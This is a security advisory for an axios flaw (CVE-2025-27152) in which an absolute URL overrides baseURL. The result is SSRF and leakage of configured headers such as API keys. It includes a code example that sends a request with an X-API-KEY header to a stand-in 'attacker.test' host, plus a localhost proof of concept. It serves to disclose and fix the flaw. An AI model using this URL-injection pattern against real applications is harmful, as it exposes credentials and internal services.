Possible SSRF and Credential Leakage via Absolute URL in axios Requests

Open Source Vulnerabilities GHSA-jr5f-v2jv-69x6

### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers. It is recommended that: - When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers: ``` mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (e.g., main.js): ```js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); ``` 3. Run the script: ``` $ node main.js this is server2 ``` Even though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`. ### Impact - Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.

Open Source Vulnerabilities CVE-2025-27152

axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.